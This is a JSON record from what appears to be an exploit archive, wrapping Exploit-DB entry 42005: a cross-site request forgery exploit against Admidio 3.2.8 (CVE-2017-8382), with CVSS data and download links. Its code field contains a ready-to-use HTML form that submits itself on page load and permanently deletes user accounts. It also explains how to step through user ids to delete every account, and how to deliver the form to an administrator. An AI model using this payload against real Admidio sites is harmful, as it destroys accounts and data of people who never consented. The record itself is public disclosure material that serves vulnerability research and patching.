{"exploit":{"id":"EDB-42005","name":"Admidio 3.2.8 - 'members_function.php' Cross-Site Request Forgery (CSRF)","description":"Admidio 3.2.8 - 'members_function.php' Cross-Site Request Forgery (CSRF)","cves":["CVE-2017-8382"],"author":"Faiz Ahmed Zaidi","published":"2017-04-28","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/42005","path":"exploits/php/webapps/42005.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-42005.txt","vulnerabilities":[{"id":"CVE-2017-8382","state":"PUBLISHED","title":null,"titleSource":null,"description":"admidio 3.2.8 has CSRF in adm_program/modules/members/members_function.php with an impact of deleting arbitrary user accounts.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-8382","cvss":{"version":"3.0","baseScore":4.5,"severity":"medium","vectorString":"CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:N/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-8382"},"updatedAt":"2024-08-05T16:34:22.834Z","retrievedAt":"2026-11-26T14:08:44.399Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-42005.png?v=2","url":"https://exploitbin.com/exploits/EDB-42005","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-42005/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-42005/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title :Admidio 3.2.8 (CSRF to Delete Users)\n# Date: 28/April/2017\n# Exploit Author: Faiz Ahmed Zaidi Organization: Provensec LLC Website:\nhttp://provensec.com/\n# Vendor Homepage: https://www.admidio.org/\n# Software Link: https://www.admidio.org/download.php\n# Version: 3.2.8\n# Tested on: Windows 10 (Xampp)\n# CVE : CVE-2017-8382\n\n\n[Suggested description]\nAdmidio 3.2.8 has CSRF in\nadm_program/modules/members/members_function.php with\n  an impact of deleting arbitrary user accounts.\n\n  ------------------------------------------\n\n  [Additional Information]\n  Using this crafted html form we are able to delete any user with\nadmin/user privilege.\n\n  <html>\n    <body onload=\"javascript:document.forms[0].submit()\">\n      <form\naction=\"http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php\">\n        <input type=\"hidden\" name=\"usr&#95;id\" value='9' />\n        <input type=\"hidden\" name=\"mode\" value=\"3\" />\n        </form>\n    </body>\n  </html>\n\n[Affected Component]\n  http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php\n\n  ------------------------------------------\n\n  [Attack Type]\n  Remote\n\n  ------------------------------------------\n\n  [Impact Escalation of Privileges]\n  true\n\n  ------------------------------------------\n\n  [Attack Vectors]\n  Steps:\n  1.) If an user with admin privilege opens a crafted\n  html/JPEG(Image),then both the admin and users with user privilege\n  which are mentioned by the user id (as like shown below) in the\n  crafted request are deleted.\n\n   <input type=\"hidden\" name=\"usr&#95;id\" value='3' />\n\n  2.) In admidio by default the userid starts from '0',\n  '1' for system '2' for users, so an attacker\n  can start from '2' upto 'n' users.\n\n  3.)For deleting the user permanently we select 'mode=3'(as like shown\n  below),then all admin/low privileged users are deleted.\n\n   <input type=\"hidden\" name=\"mode\" value=\"3\" />\n\n  ------------------------------------------\n\n  [Reference]\n  https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)\n\nThanks\nFaiz Ahmed Zaidi","sha256":"a37715208f946a36199601761cf43b9e41f178d18625cdb39adddbd056d10e59","bytes":2093,"fetchedAt":"2026-11-26T14:08:41.408Z","encoding":"utf-8 (display only; download retains original bytes)"}